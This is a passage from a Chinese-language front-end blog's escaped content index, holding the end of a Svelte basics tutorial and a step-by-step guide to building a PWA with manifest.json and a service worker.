\u0026lt;div\u0026gt;雷猴\u0026lt;/div\u0026gt; {:else} \u0026lt;div\u0026gt;鯊魚辣椒\u0026lt;/div\u0026gt; {/if} 多種條件 1 2 3 4 5 {#if 條件判斷} ... {:else if 條件判斷} ... {/if} 舉個例子\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script\u0026gt; let count = 1 setInterval(() =\u0026gt; { count++ }, 1000) \u0026lt;/script\u0026gt; {#if count === 1} \u0026lt;div\u0026gt;雷猴\u0026lt;/div\u0026gt; {:else if count === 2} \u0026lt;div\u0026gt;鯊魚辣椒\u0026lt;/div\u0026gt; {:else} \u0026lt;div\u0026gt;蟑螂惡霸\u0026lt;/div\u0026gt; {/if} 條件渲染的用法比較簡單，只要 JS 基礎就能看得懂。\n列表渲染 #each 如果你有一堆數據需要展示出來，可以使用 #each 方法。\n使用 {#each} 開頭、{/each} 結尾。\n遍歷數組 1 2 3 {#each expression as name} ... {/each} 舉個例子\n1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; let list = [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;f\u0026#39;] \u0026lt;/script\u0026gt; \u0026lt;ul\u0026gt; {#each list as item} \u0026lt;li\u0026gt;{item}\u0026lt;/li\u0026gt; {/each} \u0026lt;/ul\u0026gt; 要注意，Svelte 和 Vue 的遍歷在寫法上有點不同。\nVue 的方式是：\n1 2 3 \u0026lt;div v-for=\u0026#34;元素 in 源數據\u0026#34;\u0026gt; \u0026lt;span\u0026gt;{{元素}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; Svelte 的方式是：\n1 2 3 4 5 \u0026lt;div\u0026gt; {#each 源數據 as 元素} \u0026lt;span\u0026gt;{元素}\u0026lt;/span\u0026gt; {/each} \u0026lt;/div\u0026gt; 遍歷數組(帶 index) 1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; let list = [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;f\u0026#39;] \u0026lt;/script\u0026gt; \u0026lt;ul\u0026gt; {#each list as item, index} \u0026lt;li\u0026gt;{index} -- {item}\u0026lt;/li\u0026gt; {/each} \u0026lt;/ul\u0026gt; 注意：as 後面首先跟著元素，然後才是下標。而且元素和下標不需要用括號括起來。\n如果元素是對象，可以解構 1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;script\u0026gt; let list = [ {name: \u0026#39;雷猴\u0026#39;}, {name: \u0026#39;鯊魚辣椒\u0026#39;} ] \u0026lt;/script\u0026gt; \u0026lt;ul\u0026gt; {#each list as {name}} \u0026lt;li\u0026gt;{name}\u0026lt;/li\u0026gt; {/each} \u0026lt;/ul\u0026gt; 默認內容 如果源數據沒有內容，是空數組的情況下，還可以組合 {:else} 一起使用。\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; let list = [] \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt; {#each list as {name}} \u0026lt;div\u0026gt;{name}\u0026lt;/div\u0026gt; {:else} \u0026lt;div\u0026gt;暫無數據\u0026lt;/div\u0026gt; {/each} \u0026lt;/div\u0026gt; 事件綁定 on:event 使用 on: 指令監聽 DOM 事件，on: 後面跟隨事件類型\n語法：\n1 on:事件類型={事件名} 舉個例子，點擊按鈕時在控制台輸出\u0026quot;雷猴\u0026quot;。\n1 2 3 4 5 6 7 \u0026lt;script\u0026gt; function sayHi() { console.log(\u0026#39;雷猴\u0026#39;) } \u0026lt;/script\u0026gt; \u0026lt;button on:click={sayHi}\u0026gt;打招呼\u0026lt;/button\u0026gt; 綁定其他事件（比如change等）也是同樣的道理。\n事件修飾符 如果你只希望某些事件只執行一次，或者取消默認行為，或者阻止冒泡等，可以使用事件修飾符。\n語法：\n1 on:事件類型|修飾符={事件名} 舉個例子，我希望點擊事件只能執行一次，之後再點擊都無效，可以使用官方提供的 once 修飾符。\n1 2 3 4 5 6 7 \u0026lt;script\u0026gt; function sayHi() { console.log(\u0026#39;雷猴\u0026#39;) } \u0026lt;/script\u0026gt; \u0026lt;button on:click|once={sayHi}\u0026gt;打招呼\u0026lt;/button\u0026gt; 從上圖可以看出，多次點擊都只是輸出1次\u0026quot;雷猴\u0026quot;。\n除了 once 之外，還有以下這些修飾符可以用：\npreventDefault：禁止默認事件。在程序運行之前調用event.preventDefault() stopPropagation：調用event.stopPropagation(), 防止事件到達下一個標籤 passive：改善了touch/wheel 事件的滾動表現（Svelte會在合適的地方自動加上它） capture：表示在capture階段而不是bubbling觸發其程序 once：程序運行一次後刪除自身 串聯修飾符 修飾符還可以串聯起來使用，比如 on:click|once|capture={...}\n但需要注意，有些特殊的標籤使用修飾符會出現\u0026quot;意想不到\u0026ldquo;的結果，比如 \u0026lt;a\u0026gt; 標籤。\n1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; function toLearn() { console.log(\u0026#39;還在思考要不要學Canvas\u0026#39;) } \u0026lt;/script\u0026gt; \u0026lt;a href=\u0026#34;https://juejin.cn/post/7116784455561248775\u0026#34; on:click|once|preventDefault={toLearn} \u0026gt;去學習Canvas ？\u0026lt;/a\u0026gt; 本來是想給 \u0026lt;a\u0026gt; 標籤綁定一個點擊事件，第一次點擊時在控制台輸出一句話，並且禁止 \u0026lt;a\u0026gt; 標籤的默認事件。\n所以使用了 once 和 preventDefault 修飾符。\n但實際上並非如此。上面的代碼意思是 once 設定了只執行一次 toLearn 事件，並且只有一次 preventDefault 是有效的。\n只有點擊時就不觸發 toLearn 了，而且 preventDefault 也會失效。所以再次點擊時，\u0026lt;a\u0026gt;元素就會觸發自身的跳轉功能。\n數據綁定 bind 數據綁定通常會和表單元素結合使用。\nbind 可以做到雙向數據綁定的效果。我覺得 Svelte 裡的 bind 有點像 Vue 的 v-model。\n語法：\n1 bind:property={variable} input 單行輸入框 1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; let msg = \u0026#39;hello\u0026#39; function print() { console.log(msg) } \u0026lt;/script\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; value={msg} /\u0026gt; \u0026lt;button on:click={print}\u0026gt;打印\u0026lt;/button\u0026gt; 如果只是使用 value={msg} 的寫法，input 默認值是 hello，當輸入框的值發生改變時，並沒有把內容反應回 msg 變量裡。\n此時就需要使用 bind 了。\n1 2 \u0026lt;!-- 省略部分代碼 --\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; bind:value={msg} /\u0026gt; textarea 多行文本框 多行文本框同樣綁定在 value 屬性上。\n1 2 3 4 5 6 \u0026lt;script\u0026gt; let msg = \u0026#39;hello\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;textarea type=\u0026#34;text\u0026#34; bind:value={msg} /\u0026gt; \u0026lt;p\u0026gt;{msg}\u0026lt;/p\u0026gt; input range 範圍選擇 因為都是 input 元素，只是 type 不同而已。所以範圍選擇元素同樣需要綁定value。\n1 2 3 4 5 6 \u0026lt;script\u0026gt; let val = 3 \u0026lt;/script\u0026gt; \u0026lt;input type=\u0026#34;range\u0026#34; bind:value={val} min=0 max=10 /\u0026gt; \u0026lt;p\u0026gt;{val}\u0026lt;/p\u0026gt; radio 單選 單選框通常是成組出現的，所以要綁定一個特殊的值 bind:grout={variable}\n1 2 3 4 5 6 7 8 \u0026lt;script\u0026gt; let selected = \u0026#39;2\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;input type=\u0026#34;radio\u0026#34; bind:group={selected} value=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;radio\u0026#34; bind:group={selected} value=\u0026#34;2\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;radio\u0026#34; bind:group={selected} value=\u0026#34;3\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{selected}\u0026lt;/p\u0026gt; checkbox 複選框 1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; let roles = [] \u0026lt;/script\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; bind:group={roles} value=\u0026#34;雷猴\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; bind:group={roles} value=\u0026#34;鲨鱼辣椒\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; bind:group={roles} value=\u0026#34;蟑螂恶霸\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; bind:group={roles} value=\u0026#34;蝎子莱莱\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{roles}\u0026lt;/p\u0026gt; select 選擇器 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; let selected = \u0026#39;a\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;select bind:value={selected}\u0026gt; \u0026lt;option value=\u0026#39;a\u0026#39;\u0026gt;a\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#39;b\u0026#39;\u0026gt;b\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#39;c\u0026#39;\u0026gt;c\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;span\u0026gt;{selected}\u0026lt;/span\u0026gt; select multiple 選擇器 1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;script\u0026gt; let selected = [] \u0026lt;/script\u0026gt; \u0026lt;select multiple bind:value={selected}\u0026gt; \u0026lt;option value=\u0026#34;雷猴\u0026#34;\u0026gt;雷猴\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#34;鲨鱼辣椒\u0026#34;\u0026gt;鲨鱼辣椒\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#34;蟑螂恶霸\u0026#34;\u0026gt;蟑螂恶霸\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#34;蝎子莱莱\u0026#34;\u0026gt;蝎子莱莱\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;span\u0026gt;{selected}\u0026lt;/span\u0026gt; 簡寫形式 如果 bind 綁定的屬性和在 JS 裡聲明的變量名相同，那可以直接綁定\n1 2 3 4 5 6 7 \u0026lt;script\u0026gt; let value = \u0026#39;hello\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; bind:value /\u0026gt; \u0026lt;p\u0026gt;{value}\u0026lt;/p\u0026gt; 這個例子中， bind:value 綁定的屬性是 value，而在 JS 中聲明的變量名也叫 value，此時就可以使用簡寫的方式。\n$: 聲明反應性 通過使用 $: JS label 語法作為前綴。可以讓任何位於top-level 的語句（即不在塊或函數內部）具有反應性。每當它們依賴的值發生更改時，它們都會在 component 更新之前立即運行。\n上面這段解釋是官方文檔的解釋。\n$:在文檔中稱為Reactivity，中文文檔成它為反應性能力。\n但我使用 $: 時，覺得這個功能有點像 Vue 的 computed。\n$: 可以監聽表達式內部的變化從而做出響應。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script\u0026gt; let count = 0; $: doubled = count * 2; function handleClick() { count += 1; } \u0026lt;/script\u0026gt; \u0026lt;button on:click={handleClick}\u0026gt; 點擊加1 \u0026lt;/button\u0026gt; \u0026lt;p\u0026gt;{count} 翻倍後 {doubled}\u0026lt;/p\u0026gt; 使用 $: 聲明的 double 會自動根據 count 的值改變而改變。\n如果將以上代碼中 $: 改成 let 或者 var 聲明 count，那麼 count 將失去響應性。\n這樣看來，真的和 Vue 的 computed 的作用有那麼一點像。\n異步渲染 #await Svelte 提供異步渲染標籤，可以提升用戶體驗。\n語法：\n1 2 3 4 5 6 7 {#await expression} ... {:then name} ... {:catch name} ... {/await} 以 #await 開始、以 /await 結束。\n:then 代表成功結果，:catch 代表失敗結果。\nexpression是判斷體，要求返回一個Promise。\n其實用法和 #if ... :else if ... /if 有那麼一丟丟像。\n舉個例子\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script\u0026gt; const api = new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve(\u0026#39;請求成功，數據是xxxxx\u0026#39;) }, 1000) }) \u0026lt;/script\u0026gt; {#await api} \u0026lt;span\u0026gt;Loading...\u0026lt;/span\u0026gt; {:then response} \u0026lt;span\u0026gt;{response}\u0026lt;/span\u0026gt; {:catch error} \u0026lt;span\u0026gt;{error}\u0026lt;/span\u0026gt; {/await} 如果將上面的 resolve 改成 reject 就會走 :catch 分支。\n基礎組件 在 Svelte 中，創建組件只需要創建一個 .svelte 為後綴的文件即可。\n通過 import 引入子組件。\n比如，在 src 目錄下有 App.svelte 和 Phone.svelte 兩個組件。\nApp.svelte 是父級，想要引入 Phone.svelte 並在 HTML 中使用。\nApp.svelte 1 2 3 4 5 6 \u0026lt;script\u0026gt; import Phone from \u0026#39;./Phone.svelte\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;子組件 Phone 的内容：\u0026lt;/div\u0026gt; \u0026lt;Phone /\u0026gt; Phone.svelte 1 \u0026lt;div\u0026gt;電話：13266668888\u0026lt;/div\u0026gt; 組件通訊 組件通訊主要是 父子組件 之間的數據來往。\n父傳子 比如上面的例子，手機號希望從 App.svelte 組件往 Phone.svelte 裡傳。\n可以在 Phone.svelte 中聲明一個變量，並公開該變量。\nApp.svelte 就可以使用對應的屬性把值傳入。\nApp.svelte 1 2 3 4 5 6 \u0026lt;script\u0026gt; import Phone from \u0026#39;./Phone.svelte\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;子組件 Phone 的内容：\u0026lt;/div\u0026gt; \u0026lt;Phone number=\u0026#34;88888888\u0026#34; /\u0026gt; Phone.svelte 1 2 3 4 5 \u0026lt;script\u0026gt; export let number = \u0026#39;13266668888\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;電話：{number}\u0026lt;/div\u0026gt; 如果此時 App.svelte 組件沒有傳值進來，Phone.svelte 就會使用默認值。\n子傳父 如果想在子組件中修改父組件的內容，需要把修改的方法定義在父組件中，並把該方法傳給子組件調用。\n同時需要在子組件中引入 createEventDispatcher 方法。\nApp.svelte 1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; import Phone from \u0026#39;./Phone.svelte\u0026#39; function print(data) { console.log(`手機號碼：${data.detail}`) } \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;子組件 Phone 的内容：\u0026lt;/div\u0026gt; \u0026lt;Phone on:printPhone={print} /\u0026gt; Phone.svelte 1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; import { createEventDispatcher } from \u0026#39;svelte\u0026#39; const dispatch = createEventDispatcher() function printPhone() { dispatch(\u0026#39;printPhone\u0026#39;, \u0026#39;13288888888\u0026#39;) } \u0026lt;/script\u0026gt; \u0026lt;button on:click={printPhone}\u0026gt;輸出手機號碼\u0026lt;/button\u0026gt; 父組件接受參數是一個對象，子組件傳過來的值都會放在 detail 屬性裡。\n插槽 slot 和 Vue 一樣，Svelte 也有組件插槽。\n在子組件中使用 \u0026lt;slot\u0026gt; 標籤，可以接收父組件傳進來的 HTML 內容。\nApp.svelte 1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; import Phone from \u0026#39;./Phone.svelte\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;子組件 Phone 的内容：\u0026lt;/div\u0026gt; \u0026lt;Phone\u0026gt; \u0026lt;div\u0026gt;電話：\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;13288889999\u0026lt;/div\u0026gt; \u0026lt;/Phone\u0026gt; Phone.svelte 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;style\u0026gt; .box { width: 100px; border: 1px solid #aaa; border-radius: 8px; box-shadow: 2px 2px 8px rgba(0,0,0,0.1); padding: 1em; margin: 1em 0; } \u0026lt;/style\u0026gt; \u0026lt;div class=\u0026#34;box\u0026#34;\u0026gt; \u0026lt;slot\u0026gt;默认值\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; 生命週期 生命週期是指項目運行時，指定時期會自動執行的方法。\nSvelte 中主要有以下幾個生命週期：\nonMount： 組件掛載時調用。 onDestroy： 組件銷毀時執行。 beforeUpdate： 在數據更新前執行。 afterUpdate： 在數據更新完成後執行。 tick： DOM元素更新完成後執行。 以上生命週期都是需要從 svelte 裡引入的。\n用 onMount 舉個例子\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; import { onMount } from \u0026#39;svelte\u0026#39; let title = \u0026#39;Hello world\u0026#39; onMount(() =\u0026gt; { console.log(\u0026#39;onMount\u0026#39;) setTimeout(() =\u0026gt; title = \u0026#39;雷猴\u0026#39;, 1000) }) \u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;{title}\u0026lt;/h1\u0026gt; 在組件加載完1秒後，改變 title 的值。\nonDestroy、beforeUpdate 和 afterUpdate 都和 onMount 的用法差不多，只是執行的時間條件不同。\ntick 是比較特殊的，tick 和 Vue 的 nextTick 差不多。\n在 Svelte 中，tick 的使用語法如下：\n1 2 3 4 5 \u0026lt;script\u0026gt; import { tick } from \u0026#39;svelte\u0026#39; await tick() // 其他操作 \u0026lt;/script\u0026gt; 總結 本文主要講解了 Svelte 的基礎用法，但 Svelte 的內容和 API 遠不止此。它還有很多高級的用法以及提供了過渡動畫功能等。\nSvelte 是一個 Web 應用的構建工具，它打包出來的項目體積比較小，性能強，不使用虛擬DOM。\n但 Svelte 的兼容性和周邊生態相比起 Vue 和 React 會差一點。\n所以日常項目中需要根據 Svelte 的優缺點進行取捨。\n","date":"2022-10-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52441500615_771efe89dd_o.png","permalink":"https://blog.wayne-project.com/2022-10-21/svelte-quick-start/","title":"前端新寵兒？ - Svelte 介紹"},{"content":" 參考網站\n參考網站\n參考網站\n前幾天與大家分享，當開啟Chrome內建的PWA功能，就可將PWA的網頁，一鍵變成一個應用程式，雖然說PWA只是在應用程式裡，包了Chrome的瀏覽器，但開啟時就像應用程式一般，讓網頁就像應用程式一般，其實簡單的來說，這就有點像PhoneGap的感覺，但比PhoneGap要來的簡單許多。\n因此只要將網頁加入一些簡單的宣告與設定，立即就可將一般的網頁變成PWA的網頁應用程式，真心覺得PWA是個好物，因此只要你會寫網頁，就可將你所設計的網頁變成一隻應用程式！\n將網頁變成Progressive Web Application(PWA) Step1：下載 Chrome 擴充套件 點我前往 「Web Server」 擴充套件\n首先，你可先下載Chrome的「Web Server」擴充程式，再點「CHOSOSE FOLDER」鈕，選擇已製作好的網頁目錄。\nStep2：檢查網頁 點一下連結，並檢查網頁是否能正常呈現。\nStep3：建立 manifest.json 更多 manifest.json 介紹，點我前往\n接著建立一個新的文件檔，並依的輸入應用程式名稱、圖示、與應用程式的URL，再將它儲存為「manifest.json」檔。\nmanifest.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 { \u0026#34;short_name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Wayne\u0026#39;s blog\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;偉恩的部落格，用於紀錄coding life查找的資料、筆記與文章，統整起來除了自己使用，也希望對各位有幫助。\u0026#34;, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-57x57.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;57x57\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-114x114.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;114x114\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-120x120.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;120x120\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-180x180.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;180x180\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-192x192.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./apple-touch-icon-512x512.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;:\u0026#34;./maskable_icon.webp\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/webp\u0026#34;, \u0026#34;purpose\u0026#34;: \u0026#34;any maskable\u0026#34; } ], \u0026#34;lang\u0026#34;: \u0026#34;zh-Hant-TW\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;./?utm_source=web_app_manifest\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#f5f5fa\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#57BCB9\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;orientation\u0026#34;: \u0026#34;landscape\u0026#34;, \u0026#34;prefer_related_applications\u0026#34;: false } Step4：html 加入 manifest.json 在head標籤中加入 manifest.json。\n1 2 3 \u0026lt;!-- ... --\u0026gt; \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;./manifest.json\u0026#34; /\u0026gt; \u0026lt;!-- ... --\u0026gt; 由於 manifest 在 IOS 上還不支援，因此如果 IOS 上也想要自訂 icon，就要改用 HTML 裡的 meta 來設定，如下：\n1 2 3 4 5 6 7 8 9 \u0026lt;!-- ... --\u0026gt; \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;./manifest.json\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;57x57\u0026#34; href=\u0026#34;./apple-touch-icon-57x57.webp\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;114x114\u0026#34; href=\u0026#34;./apple-touch-icon-114x114.webp\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;120x120\u0026#34; href=\u0026#34;./apple-touch-icon-120x120.webp\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;180x180\u0026#34; href=\u0026#34;./apple-touch-icon-180x180.webp\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;192x192\u0026#34; href=\u0026#34;./apple-touch-icon-192x192.webp\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;512x512\u0026#34; href=\u0026#34;./apple-touch-icon-512x512.png\u0026#34; /\u0026gt; \u0026lt;!-- ... --\u0026gt; Step5：打開開發人員工具檢查 manifest.json 的設定 Step6：加入 serviceWorker 語法 更多 Service Worker 介紹，點我前往\n在網頁前加入下方的語法。\n1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; if (\u0026#34;serviceWorker\u0026#34; in navigator) { console.log(\u0026#34;Will service worker register?\u0026#34;); navigator.serviceWorker.register(\u0026#34;./service-worker.js\u0026#34;).then(function(reg) { console.log(\u0026#34;Yes it did.\u0026#34;); }).catch(function(err) { console.log(\u0026#34;No, it didn\u0026#39;t. This happened: \u0026#34;, err); }); } \u0026lt;/script\u0026gt; Step7：建立 service-worker.js 檔案 接著再建立一個文件，並貼上下方的語法，儲存為 service-worker.js，這時可看到在原來的網頁中，分別會多了 manifest.json 與 service-worker.js 和圖片資料夾。\nservice-worker.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 self.addEventListener(\u0026#39;install\u0026#39;, function(event) { self.skipWaiting(); var offlinePage = new Request(\u0026#39;offline.html\u0026#39;); event.waitUntil( fetch(offlinePage).then(function(response) { return caches.open(\u0026#39;offline2\u0026#39;).then(function(cache) { return cache.put(offlinePage, response); }); })); }); self.addEventListener(\u0026#39;fetch\u0026#39;, function(event) { event.respondWith( fetch(event.request).catch(function(error) { return caches.open(\u0026#39;offline2\u0026#39;).then(function(cache) { return cache.match(\u0026#39;offline.html\u0026#39;); }); })); }); self.addEventListener(\u0026#39;refreshOffline\u0026#39;, function(response) { return caches.open(\u0026#39;offline2\u0026#39;).then(function(cache) { return cache.put(offlinePage, response); }); }); self.addEventListener(\u0026#39;push\u0026#39;, function (event) { var data = event.data.json(); var opts = { body: data.body, icon: data.icon, data: { url: data.url } }; event.waitUntil(self.registration.showNotification(data.title, opts)); }); self.addEventListener(\u0026#39;notificationclick\u0026#39;, function(event) { var data = event.notification.data; event.notification.close(); event.waitUntil( clients.openWindow(data.url) ); }); Step8：確認 Service Workers 是否正常 接著再回到網頁的「開發人員工具」的 Service Workers 時，就會看到綠色燈號。\nStep9：安裝「頁面」 都完成後，再點 Chrome 右上的選單圖示，就可看到「安裝XXX」。\nStep10：安裝 點一下，就會出現安裝畫面，再點「安裝」。\n當安裝完畢後，就會開啟剛所安裝的應用程式，哈！是不是畫面乾淨許多，就像在使用一般的應用程式一樣，有了PWA後可實現透過網頁就能打造專屬的應用程式的夢想，且完全不用再學新語言，真是超方便的。\nmanifest.json 介紹 以下來說明一下 manifest.json\nmanifest.json 是在學 PWA 這塊時最簡單的部份，主要是建一支 JSON 檔就可以，相關的參數 MDN上 或是 Google 一下就會看到，不用花太多的時間去記。\nmanifest.json是做什麼用的？ 根據 MDN 上的解釋，manifest.json 是這樣子的：\n它提供了應用程式相關的資訊（像是名稱、作者、圖示、描述）。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面，為使用者提供更快速的訪問和更豐富的體驗。\n簡單的說明就是，PWA 主要就是讓網頁可以模擬成一個手機的 App 來使用，要當成 App，就要有 App 的樣子，就要能在手機的桌面上有一個 icon 可以按，按下去後有一個幾秒鐘的啟動畫面讓使用者知道開啟的 App 是什麼，manifest 就是在處理這段。\n另外，一般我們在手機上開 Chrome 或 Safari 看網頁時，最頂部會有一條網址列，但一般 App 是不會有的，而 manifest.json 也可以設定開啟頁面時不顯示網址列。\nPWA 是把頁面模擬成 App 的一個方法，如果公司本身也有製作 App 呢？manifest.json 上也可以設定 App 在 Google Play、App Store 上的連結，並呈現一個推薦通知讓使用者可以進入並下載。\n最後補充一點，不論是 PWA 的 Cache 或是推播功能，都要求網站要是 https，manifest.json 這點也不意外，如果網站不是 https，即便引用了 manifest.json，也不會被 Chrome 主動詢問是否要將網站加入到主畫面。\n關於 manifest 的功能，Google 有一隻影片介紹：\nWeb App Manifest: Totally Tooling Tips\nmanifest.json 成員 成員列表整理如下：\n欄位 說明 theme_color 應用程式的主要顏色 background_color 啟動畫面（splash screen）的背景色 icons 應用程式的圖示 name 應用程式的名稱 short_name 應用程式的簡寫 lang 主要語言 description 應用程式的描述 dir 文字書寫方向 display 應用程式的顯示模式 orientation 預設顯示的方向是直的或橫的 prefer_related_applications 是否要推薦一個原生的 App related_applications 推薦原生 App 的連結 start_url 開啟應用程式時的預設網址 scope 應用程式的使用範圍 theme_color 應用程式的主要顏色，主要可以改變網址列那一條的顏色。\n1 \u0026#34;theme_color\u0026#34;: \u0026#34;#57BCB9\u0026#34; background_color 啟動畫面（splash screen）的背景色，App 啟動時，會有一個 Splash Screen，翻譯成快閃頁、過場頁，本篇稱為啟動畫面。\nSplash Screen 需要3個成員：background_color、icons、name。\n1 \u0026#34;background_color\u0026#34;: \u0026#34;red\u0026#34; 補充一點，Splash Screen，在 IOS 上是不支援的，但可以直接讀取一張圖檔來當作啟動頁面，在 head 裡加入以下就行：\n1 2 3 4 5 6 7 \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-640x1136.png\u0026#34; media=\u0026#34;(device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-750x1294.png\u0026#34; media=\u0026#34;(device-width: 375px) and (device-height: 667px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-1125x2436.png\u0026#34; media=\u0026#34;(device-width: 375px) and (device-height: 812px) and (-webkit-device-pixel-ratio: 3) and (orientation: portrait)\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-1242x2148.png\u0026#34; media=\u0026#34;(device-width: 414px) and (device-height: 736px) and (-webkit-device-pixel-ratio: 3) and (orientation: portrait)\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-startup-image\u0026#34; href=\u0026#34;images/splash-1536x2048.png\u0026#34; media=\u0026#34;(min-device-width: 768px) and (max-device-width: 1024px) and (-webkit-min-device-pixel-ratio: 2) and (orientation: portrait)\u0026#34;\u0026gt; 